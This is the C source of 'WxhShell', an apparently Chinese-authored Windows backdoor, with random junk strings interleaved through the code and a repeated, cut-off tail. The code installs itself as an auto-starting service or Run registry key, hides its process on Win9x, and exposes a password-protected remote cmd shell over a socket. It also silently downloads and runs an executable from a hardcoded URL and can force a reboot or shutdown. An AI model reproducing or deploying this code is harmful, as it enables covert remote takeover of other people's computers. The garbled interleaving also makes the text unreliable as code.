NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); tt[_+e\4 %mYIXsuH if (!NtQueryInformationProcess) return 0; y=j[v},4 bL[PNUG hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); Iw<c 9w8 if(!hProcess) return 0; [a
|fm*B! v S+~4Q41 if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; \qTNWA#' G#*!)#M < CloseHandle(hProcess); c3pt?C TwhK>HN hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); 8\V-aow if(hProcess==NULL) return 0; mpF_+Mn *nC,=2 HMODULE hMod; ?\pE#~m char procName[255];
Qom@-A unsigned long cbNeeded; /1> q,(&2./ if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); {Jy%h8n* 2b"5/$|6 CloseHandle(hProcess); JX/d;N7a OLR1/t`V if(strstr(procName,"services")) return 1; // 以服务启动 M!jW=^\ )UdS(Bj return 0; // 注册表启动 =Fs LF } uE|[7,D7;u Ni)#tz_9 // 主模块 Zn} )&Xt int StartWxhshell(LPSTR lpCmdLine) ]`kvq0Gyb { }n7e_qy4 SOCKET wsl; i|O7nB@ BOOL val=TRUE; i;xMf5Jz int port=0;
=*Yc/ struct sockaddr_in door; G7202(w
< SWGa%6| if(wscfg.ws_autoins) Install(); j`GbI0,bT KN`z68c4L port=atoi(lpCmdLine); Q+Fw =Xw ppD~xg] if(port<=0) port=wscfg.ws_port; 7fEV/j y,>m#6hx# WSADATA data; W.R'2R# if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; X]*/]Xx (j I|F-i if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; yy74>K setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); ? 7EVmF door.sin_family = AF_INET; iLgt_@g door.sin_addr.s_addr = inet_addr("127.0.0.1"); {.OoOqq9 door.sin_port = htons(port); (R}X(u yfW^wyDd2o if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { IjRmpVcwN closesocket(wsl); *;d)'7< return 1; <`*P/V } #]N9/Hij#g ^k(eRs;K if(listen(wsl,2) == INVALID_SOCKET) { . R}y"O\ closesocket(wsl); bLzuaNa' return 1; o5@ jMU; } /#=J`*m_ Wxhshell(wsl); A
m1W<` WSACleanup(); FlG^'UD 1c"m$)a4 return 0; 4w6K|v<X Y
fA\#N0;3 } X&~Eo p4EItRZS // 以NT服务方式启动 M\6`2q VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) gc~h!%'.I { uPXqTkod DWORD status = 0; &s;^q DWORD specificError = 0xfffffff; -c?wEqa~2 +"cyOC serviceStatus.dwServiceType = SERVICE_WIN32; Lx{N%;t*E serviceStatus.dwCurrentState = SERVICE_START_PENDING; @b{u/:y serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; &FVlTo1 serviceStatus.dwWin32ExitCode = 0; 7uxPkZbb serviceStatus.dwServiceSpecificExitCode = 0; q$rA-`jw serviceStatus.dwCheckPoint = 0; vUs7#* serviceStatus.dwWaitHint = 0; O*{H;7Pv !q\w"p0X hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); piotd, if (hServiceStatusHandle==0) return; hF7mJ\ PcHFj+: status = GetLastError(); )YtL=w?L' if (status!=NO_ERROR) 05 Q8` { y;Ln ao7i serviceStatus.dwCurrentState = SERVICE_STOPPED; pe%)G6@G serviceStatus.dwCheckPoint = 0; Ur(o&, serviceStatus.dwWaitHint = 0; .6F3;bg R7 serviceStatus.dwWin32ExitCode = status; I?g__u=n~ serviceStatus.dwServiceSpecificExitCode = specificError; @qy*R'+ SetServiceStatus(hServiceStatusHandle, &serviceStatus); C+?s~JL return; aQ:f"0fL } [5*-V^m2 UjOhaj "h
serviceStatus.dwCurrentState = SERVICE_RUNNING; |I5?5 J\ serviceStatus.dwCheckPoint = 0; *m@w^In^ serviceStatus.dwWaitHint = 0; 786_QV if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); 97wy;'J[u } ~+ wamX3 g
Pj0H&,. // 处理NT服务事件,比如:启动、停止 hr6e 1Er VOID WINAPI NTServiceHandler(DWORD fdwControl) (zDk68=v { Su$ 1 t switch(fdwControl) /B\-DP3K { F'$S!K58 case SERVICE_CONTROL_STOP: b Ne\{k serviceStatus.dwWin32ExitCode = 0; `A _8nW) serviceStatus.dwCurrentState = SERVICE_STOPPED; ,Z7Z!.TY! serviceStatus.dwCheckPoint = 0; s [F' h-y serviceStatus.dwWaitHint = 0; =G F { x<\D@X^ SetServiceStatus(hServiceStatusHandle, &serviceStatus); 4
6lEJ } hYXZ21(K# return; a`~eC)T case SERVICE_CONTROL_PAUSE: H!.D2J serviceStatus.dwCurrentState = SERVICE_PAUSED; %e7(HfW-U break; #]DZrD&q case SERVICE_CONTROL_CONTINUE: xqC<p`?4 serviceStatus.dwCurrentState = SERVICE_RUNNING; ?b7g9 G4 break; Q_0x6]/! case SERVICE_CONTROL_INTERROGATE: h4\ 6h break; LsQ8sFP_" }; *m&:
Yje SetServiceStatus(hServiceStatusHandle, &serviceStatus); `-EH0'w~" } |ch^eb^7" V<V\0n!0 // 标准应用程序主函数 .!8X]trEg int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) i;hc]fYb=K { niHL/\7u <uKm%~xi< // 获取操作系统版本 s
P4,S(+e OsIsNt=GetOsVer(); jc.JX_/ GetModuleFileName(NULL,ExeFile,MAX_PATH); zMYd|2bc "I}Z2 // 从命令行安装 l5Wa'~0qA if(strpbrk(lpCmdLine,"iI")) Install(); ?5v5:U(A {I-a;XBX // 下载执行文件 mHEf-6|C` if(wscfg.ws_downexe) { 7Jx-W| if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) C{hcK 1-K WinExec(wscfg.ws_filenam,SW_HIDE); M1^C8cz } ^_KD&%M6 Kxl,]
|e> if(!OsIsNt) { gGX0+L@E // 如果时win9x,隐藏进程并且设置为注册表启动 _/
}6 HideProc(); ]AA%J@ StartWxhshell(lpCmdLine); U\Ar*b) /T } d[]p_oIQq else Lcs{OW, if(StartFromService()) \FoxKOTp // 以服务方式启动 ,#bb8+z&p StartServiceCtrlDispatcher(DispatchTable); 4iv]N 4 else #xP!!.DF( // 普通方式启动 !b]2q%XM StartWxhshell(lpCmdLine); M=AvD(+ha U7"BlT!V\ return 0; H
:
T N } xeHb89GnoQ q#(/*AoU (HaKF7Jsi ft/^4QcyAM =========================================== Y
<Znv%M 5M Wvu,'%8 nSxb-Ce .^LL9{? q^N0abzgP ;sChxQ=.^ " SCurO9RN wVp4c?s #include <stdio.h> {x|kg; #include <string.h> E./__Mz@ #include <windows.h> P*SCHe' #include <winsock2.h> (H8C\%g: #include <winsvc.h> >nhE%:X> #include <urlmon.h> <4Q1 2: !b7'>b'J<1 #pragma comment (lib, "Ws2_32.lib") k%l_N)38 #pragma comment (lib, "urlmon.lib") =F'M~3M f#v#)Gp+ #define MAX_USER 100 // 最大客户端连接数 Jh\:X<q #define BUF_SOCK 200 // sock buffer j6e}7 #define KEY_BUFF 255 // 输入 buffer 7rdw` {x[;5TM #define REBOOT 0 // 重启 ("?&p3];b #define SHUTDOWN 1 // 关机 ;V~rWzKM( kG$E
tE# #define DEF_PORT 5000 // 监听端口 '(*&Ax x[vBK8 #define REG_LEN 16 // 注册表键长度 7?MB8tJ5r4 #define SVC_LEN 80 // NT服务名长度 oQ%\[s$ Qsg/V] // 从dll定义API *qPdZ typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); M?Ndy*] typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); qx2E-PDL;< typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); |.(CIu~b typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); 4bi NGl~ zj>aaY // wxhshell配置信息 h`5YA89 struct WSCFG { J%\- 1 int ws_port; // 监听端口 M@~~f
char ws_passstr[REG_LEN]; // 口令 _%'L@[ H int ws_autoins; // 安装标记, 1=yes 0=no eyT>wma0 char ws_regname[REG_LEN]; // 注册表键名 PFS;/ char ws_svcname[REG_LEN]; // 服务名 x6^l6 N char ws_svcdisp[SVC_LEN]; // 服务显示名 tlV &eN char ws_svcdesc[SVC_LEN]; // 服务描述信息 D0/DI char ws_passmsg[SVC_LEN]; // 密码输入提示信息 dn ZzA int ws_downexe; // 下载执行标记, 1=yes 0=no S9G+#[.| char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" ^kn^CI6 char ws_filenam[SVC_LEN]; // 下载后保存的文件名 s.y q}Q (*6m^ }; p^1zIC>F 7v_i>_m] // default Wxhshell configuration JiFA]M`^Q struct WSCFG wscfg={DEF_PORT, S\e&?Y` "xuhuanlingzhe", qKdS7SoS 1, C$<"w, "Wxhshell", 9Uha2o "Wxhshell", N]14 "WxhShell Service", ZfPd0 p "Wrsky Windows CmdShell Service", jt{9e:2% "Please Input Your Password: ", oW1"%i% 1, ~x|aoozL "http://www.wrsky.com/wxhshell.exe", ~:>AR` 9G "Wxhshell.exe" #:J:YMv }; *@_u4T7|{ {p`mfEE( // 消息定义模块 Y?yo\(Cdx char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; D~#Ei?aH char *msg_ws_prompt="\n\r? for help\n\r#>"; %K[daXw6E8 char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; :O $@shV char *msg_ws_ext="\n\rExit."; J
I<3\=:+ char *msg_ws_end="\n\rQuit."; FR:d^mL char *msg_ws_boot="\n\rReboot..."; 7} be>( char *msg_ws_poff="\n\rShutdown..."; UJz#QkAio char *msg_ws_down="\n\rSave to "; \q~w<%9Dq -2F@~m| char *msg_ws_err="\n\rErr!"; hv*>%p char *msg_ws_ok="\n\rOK!"; g(aZT#i i= 4YszVT-MU~ char ExeFile[MAX_PATH]; 01udlW. int nUser = 0; ^P`NMSw HANDLE handles[MAX_USER]; OAv>g pw int OsIsNt; `SV"ElRV cjuZBFl SERVICE_STATUS serviceStatus; ^=EjadVQ SERVICE_STATUS_HANDLE hServiceStatusHandle; 'p%=<0vrr ZJ;LD* // 函数声明 *E:x E/M!2 int Install(void); w
|_GV}#_ int Uninstall(void); o+nG3kRD int DownloadFile(char *sURL, SOCKET wsh); xXX/]x> int Boot(int flag); A\K,_&x1Z void HideProc(void); )^4hQ3BS int GetOsVer(void); NYBe"/}GS int Wxhshell(SOCKET wsl); KOjluP void TalkWithClient(void *cs); gQ37> int CmdShell(SOCKET sock); 0rD#s{? int StartFromService(void); mjb{~ int StartWxhshell(LPSTR lpCmdLine); OL3UgepF /aZE,IeEz VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); ?O??cjiA@ VOID WINAPI NTServiceHandler( DWORD fdwControl ); nH@(Y&S m0|K#^ // 数据结构和表定义 ?^ZXU0IkP SERVICE_TABLE_ENTRY DispatchTable[] = jM~Bu.7 i6 { x?"#gK`3; {wscfg.ws_svcname, NTServiceMain}, nnNv0?>d( {NULL, NULL} V!4a*,Pz }; l&Z
Sm =SAV| // 自我安装 dpwD8Q<
U int Install(void) !@G)$g=< { '-vE%U@< char svExeFile[MAX_PATH]; #'@ilk/. HKEY key; f1mHN7hxW strcpy(svExeFile,ExeFile); $r\"6e <} ,1Ncl // 如果是win9x系统,修改注册表设为自启动 x4m 5JDC if(!OsIsNt) { O:Va&Cyj* if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { kneuV8+(5 RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); q$[n`w- RegCloseKey(key); ebC)H if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { KOey8tB)1 RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); %-+j RegCloseKey(key); GIT#<+" return 0; IG< H"tQ } J8?2R^;{ } !\-WEQrp\ } >"v9iT else { pMR,#[U< 1<.5ub*i4 // 如果是NT以上系统,安装为系统服务 RRADg^}l|" SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); TBCp
L]QT if (schSCManager!=0) w(U:U-MNe { ESTM$k}X
SC_HANDLE schService = CreateService gZO&r#
( VO=!8Yx[ schSCManager, qP3q wscfg.ws_svcname, 7(bQ}mHl\ wscfg.ws_svcdisp, K R, z^9 SERVICE_ALL_ACCESS, O0T/#<Cn! SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , ~`qEWvPn SERVICE_AUTO_START, |7"$ w%2 SERVICE_ERROR_NORMAL, @PI%FV z~p svExeFile, fRB5U' NULL, ^C/ NULL, ]kD"&&HV NULL, jVO{$j NULL, dRW$T5dac NULL &<3&'*ueW ); ve Tx, \6@ if (schService!=0) !R'g59g
{
UMU2^$\iS CloseServiceHandle(schService); :ofBzTNwZ CloseServiceHandle(schSCManager); ?A?F.n` strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); =Mj0:rW strcat(svExeFile,wscfg.ws_svcname); =dZHYO^Cv if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { ***a2Z/( RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); uo2'"@[e RegCloseKey(key); ! zL1;d return 0; tF7hFL5f } tGjhHp8}c } NBYH;h P CloseServiceHandle(schSCManager); x|i_P|Z } k7@t{Cu0D& } : g6n,p_# 7B7&9<gc return 1; NI aFI( } IgIYguQ $,3J7l3 // 自我卸载 >yB(lKV int Uninstall(void) W/fuKGZi_ { _%/}>L>-`8 HKEY key; o`n$b(VZ %<0eA`F4 if(!OsIsNt) { 7fHc[, if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { s58C2 RegDeleteValue(key,wscfg.ws_regname); +s++7<C RegCloseKey(key); KC`q#&dt if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { G2Vv i[c RegDeleteValue(key,wscfg.ws_regname); `R"~v/x RegCloseKey(key); rx0~`cVV: return 0; _oG&OJ@ } FAsFjRS } -VxDNT}Tr } gw36Ec<M else { >w+HHs/$wK wE]K~y!` SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); q1?&Ev^ if (schSCManager!=0) s{0aBeq { Q GZyL)Q SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); \C,p
WW if (schService!=0) PjKECN { {vEOn-(7 if(DeleteService(schService)!=0) { En{`@JsM CloseServiceHandle(schService); ag-f{UsTy CloseServiceHandle(schSCManager); H@bf'guA|B return 0; nKa$1RMO } 2*w0t:Yxe CloseServiceHandle(schService); Dre2J<QL } 3cdTed-MIh CloseServiceHandle(schSCManager); a2IgC25 } ryB}b1`D } '2^7-3_1 >P6BW return 1; 7%f&M>/ } 7x);x/#8Z kF(n!2"W // 从指定url下载文件 7lV.[&aKW int DownloadFile(char *sURL, SOCKET wsh) %yBB?cp+_ { #7ohQrP HRESULT hr; U_x )#,4 char seps[]= "/"; Hso|e?Z char *token; %`Z+a.~ U char *file; tW
WWx~k char myURL[MAX_PATH]; Wbr+KX8) char myFILE[MAX_PATH]; xvl3vAN9 A, 3bC strcpy(myURL,sURL); f+8wl!M+6 token=strtok(myURL,seps); o1M$.* while(token!=NULL) n3AaZp[ { (hiyNMC file=token; <sK4#!K token=strtok(NULL,seps); >leU:7 } 4=<tWa|@9 1`ayc|9BR GetCurrentDirectory(MAX_PATH,myFILE); q$I:`& strcat(myFILE, "\\"); hn#1%p6t strcat(myFILE, file); !;?+>R)h send(wsh,myFILE,strlen(myFILE),0); %_ !bRo send(wsh,"...",3,0); =UUU$hq2 hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); ,]bB9tid if(hr==S_OK) [!!Q,S"
return 0; rj(T~d4 else }gJ (DbnV return 1; 93Co}@Y;Y+ h1'\:N` } pe^u$YE ns6(cJ^a // 系统电源模块 xJ#d1[kzo int Boot(int flag) J8mdoVt { SkmT`*v@ HANDLE hToken; :POj6j/ TOKEN_PRIVILEGES tkp; %CK^Si%+ s"t$0cH9 if(OsIsNt) { ?@E!u|]K OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); E?_Z`*h LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); PLK3v4kVM! tkp.PrivilegeCount = 1; dqN5]Sb2B tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; ]]zPq<b2 AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); z^T`x_mF if(flag==REBOOT) { Q ]}Hd- if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) Lhqz\ o return 0; )wT-8o } :j+ ZI3@ else { z11O F if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) r-:Uz\gM return 0; iof-7{+3_ } q
FAT]{{ } N;\'N
ne else { AvfNwE if(flag==REBOOT) { #{?qNl8F*J if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) zAiXo__x return 0; rx] @A } ax (c# else { ?#fu.YE\ if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) E{|W(z,
return 0; R6]Gk)5 } "1%5, } EM[WK+9>I{ DQr Y*nH return 1; RJd(~1 } Ymg|4%O@ ))"6ern // win9x进程隐藏模块 [n:<8ho void HideProc(void) }hhGu\ { Y\No4w ^|d , GP?amh HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); HhvdqvIEG if ( hKernel != NULL ) "thdPZ { ]7RD"} pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); ]@phF _ ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); _no*k?o* FreeLibrary(hKernel); ?vbvBu{a } Z'.AA OG ;IZwTXu !S return; *2,VyY } . QBF`Rz ivN&HAxI@ // 获取操作系统版本 f=WDR m] int GetOsVer(void) =,6z4" ) { y~U #veY OSVERSIONINFO winfo; sM `DL winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); x8V('` }j GetVersionEx(&winfo); kZmpu?P if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) l4uMG]m return 1; (2$p{Uf else 2QyV%wz return 0; Q o{/@ } M 0U0;QJ ZzJ?L4J5v // 客户端句柄模块 |l]XpWV int Wxhshell(SOCKET wsl) V<T9&8l+: { <h:x= SOCKET wsh; P&*2pX: struct sockaddr_in client; @emK1iwm DWORD myID; Ezd_`_@R J;8IY= while(nUser<MAX_USER) wNpTM8rfU# { Y,^@P int nSize=sizeof(client); ).`1+b wsh=accept(wsl,(struct sockaddr *)&client,&nSize); jK& h~) if(wsh==INVALID_SOCKET) return 1; fof TP1 d,B:kE0Y handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); sN9&,&W1 if(handles[nUser]==0) BHU6t<G
closesocket(wsh); l~w2B>i) else 3sy (vC nUser++; ;;6uw\6
O } !Fd~~v WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); RAgg:3^ C26>BU< return 0; 3u*4o=4e } \o*5 }HFN3cq;C // 关闭 socket 'h|DO/X~L void CloseIt(SOCKET wsh) P2#XKG { K8GP@yD]M closesocket(wsh); P-y jN nUser--; <7/R,\Wg~ ExitThread(0); 7QiIiWqIWC } \/zq7j /
F4z g3 // 客户端请求句柄 e> e}vZlX void TalkWithClient(void *cs) @#T|Y& { $_"'&zQ' R;uvkg[o SOCKET wsh=(SOCKET)cs; FKDk +ojw char pwd[SVC_LEN]; FWrX3i char cmd[KEY_BUFF]; SB H(y) char chr[1]; Czs8!S int i,j; 5YE'L. DgId_\Ze while (nUser < MAX_USER) { sBvzAVBL Hq:X{)" if(wscfg.ws_passstr) { qr"3y if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); x[~b2o //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); Lt?lv2k=L //ZeroMemory(pwd,KEY_BUFF); Y']\Jq{OS i=0; ~=M7 3U# while(i<SVC_LEN) { +hg3I8q: fg_4zUGM+g // 设置超时 ayR-\mZ fd_set FdRead; n8~N$tDU struct timeval TimeOut; #Z?A2r!1 FD_ZERO(&FdRead); O_oPh] x) FD_SET(wsh,&FdRead); `u3EU*~W TimeOut.tv_sec=8; BC&S> #\ TimeOut.tv_usec=0; N{9v1`B int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); gc_:%ki if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); il4^zj82 !/'t5~x[ if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); <J<{l pwd=chr[0]; _S<3\%(0 if(chr[0]==0xd || chr[0]==0xa) { *+Ek0M pwd=0; ,w<S|#W~+ break; md)c0Bg8~ } LG{,c.Qj* i++; N.,X<G.H } _{I3i:f9X8 +"\sc;6m. // 如果是非法用户,关闭 socket P+@/O if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); t<.)Z-Ii } n{n52][J] 36}?dRw#p send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); o4G ?nvK- send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); CGW.I$u T*Y~\~Jhu while(1) { oK6tTK ?GKb7Oj ZeroMemory(cmd,KEY_BUFF); >)fi^ q/4J.jL // 自动支持客户端 telnet标准 SoW9p^HJ j=0; [M]
while(j<KEY_BUFF) { =upeRY@u5 if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); u^@f&BIG]: cmd[j]=chr[0]; X9v.1s, if(chr[0]==0xa || chr[0]==0xd) { H%qsjB^ cmd[j]=0; T"{>t break; S'Q@ScJ } SD"FErJ j++; &FMc?wq } QO<jI#
`06; // 下载文件 jl4rbzse if(strstr(cmd,"http://")) { K
-nF lPm\ send(wsh,msg_ws_down,strlen(msg_ws_down),0); 2J7:\pR^ if(DownloadFile(cmd,wsh)) d[@X% send(wsh,msg_ws_err,strlen(msg_ws_err),0); {j.bC@hWw else Ec3}_` send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); >,V9H$n } 'nzg6^I7g else { $p1(He0 2 $Xv* ,Bq switch(cmd[0]) { nsu@h Xb|:vr\v // 帮助 bn|I>e case '?': { CKYc\<zR0l send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); : %lTU break; }MJy
+Z8& } Jj; L3S // 安装 py$Q case 'i': { z`.<U{5 if(Install()) }*M6x;t send(wsh,msg_ws_err,strlen(msg_ws_err),0); $t$ShT) else y;35WtDVb send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); j+i\bks break; X&tF;<m^ } Ep9nsX* // 卸载 ;km`P|<U case 'r': { zJq~!#pZ if(Uninstall()) j8v8uZ;x send(wsh,msg_ws_err,strlen(msg_ws_err),0); >8~.wXyoC else !a{^=#qq&I send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); LC,F
<>w1 break; xT3BHnQ( } k :(SCHf // 显示 wxhshell 所在路径 ISYXH9V case 'p': {
(ZS}G8 char svExeFile[MAX_PATH]; EaO6[E strcpy(svExeFile,"\n\r"); 2,DXc30I strcat(svExeFile,ExeFile); lp.ldajN send(wsh,svExeFile,strlen(svExeFile),0); x>**;#7) break; SL Ws*aq } u(z$fG:g // 重启 qk%;on&` case 'b': { ih58<Up5 send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); {c6=<Kv if(Boot(REBOOT)) `!obGMTQ< send(wsh,msg_ws_err,strlen(msg_ws_err),0); }s7$7 else { zIqU,n|]s closesocket(wsh); }z eO]"` ExitThread(0); "M<8UE \n } d`QN^)F0# break; iFd+2S% } 6hno)kd{= // 关机 H`*LBqDk case 'd': { EEEh~6?-e send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); { }:#G if(Boot(SHUTDOWN)) 9&$y}Y send(wsh,msg_ws_err,strlen(msg_ws_err),0);
-WY<zJ else { 7o7)0l9! closesocket(wsh); ew>XrT=Zm ExitThread(0); LoURC$lS } UE8kpa)cQ break; bg!/%[ {M } _~'=C#XI) // 获取shell u}#(.)a: case 's': { %:M^4~dc CmdShell(wsh); ] ]u
s % closesocket(wsh); 1auIR/=- ExitThread(0); iW)8j 8 break; 6/f7< } k9<;woOBO // 退出 35h8O,Y case 'x': { +jAGGv^) send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); fW{(lPx CloseIt(wsh); {0L1X6eg break; `xKp%9 } T.])diuvj- // 离开 YX!{P=Ua case 'q': { n7zm>& send(wsh,msg_ws_end,strlen(msg_ws_end),0); R"-mKT} closesocket(wsh); ^PDJ0k/u1 WSACleanup(); Me r/G2#& exit(1); $[Sc0dzJ break; +cJL7=V& } 8+~
>E } E~DQ-z } uu-PJTNZ -"R2 // 提示信息 #Vnkvvv if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); kDEXN } x,'(5* } &u]8IEv}u
Y[ j6u\y return; 6O7'!@@ } w x]0p IQAZuN"< // shell模块句柄 h}>"j%I int CmdShell(SOCKET sock) Z&G+bdA>, { |h KDvH STARTUPINFO si; 034iK[ib" ZeroMemory(&si,sizeof(si)); |T<_ 5Ik si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; c/:b.>W si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; ~Zun&b)S PROCESS_INFORMATION ProcessInfo; /74QMx? char cmdline[]="cmd"; ;nI] !g: CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); F3y9@dA] return 0; /,BD#| } zUt'QH7E. EB0TTJR?# // 自身启动模式 ]RZ|u*l=x int StartFromService(void) &9.C l;I { Wjo[ENHM typedef struct vt/x
,Y { cb@?}(aFl DWORD ExitStatus; C1V|0hu DWORD PebBaseAddress; %@<8<6&q DWORD AffinityMask; fnpYT:%fG
DWORD BasePriority; Y@NNrGDkT* ULONG UniqueProcessId; \e:7)R2<!x ULONG InheritedFromUniqueProcessId; wVvF^VHV^ } PROCESS_BASIC_INFORMATION; %h hfU6[ ]RwpX ^ 1 PROCNTQSIP NtQueryInformationProcess; ,bZL C N,<uf@LQ static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; CLxynZ\ ; static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; Bm:98? [ 3RigzT3 HANDLE hProcess; 59 h]UX= PROCESS_BASIC_INFORMATION pbi; Ka'=o?'B5 C0sX gM HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); Vouvr<43o if(NULL == hInst ) return 0; 2VPdw@"~} 55G+; g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); UZWioxsKr+ g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); :W"~
{~#? NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); ?3/qz(bM Je';9(ZK if (!NtQueryInformationProcess) return 0; #{6{TFx\ l?\jB\, hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); pg6cF if(!hProcess) return 0; S~<$Hy*kh aJSO4W)P if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; cA&9e< L s
G\OG CloseHandle(hProcess); $6qh|
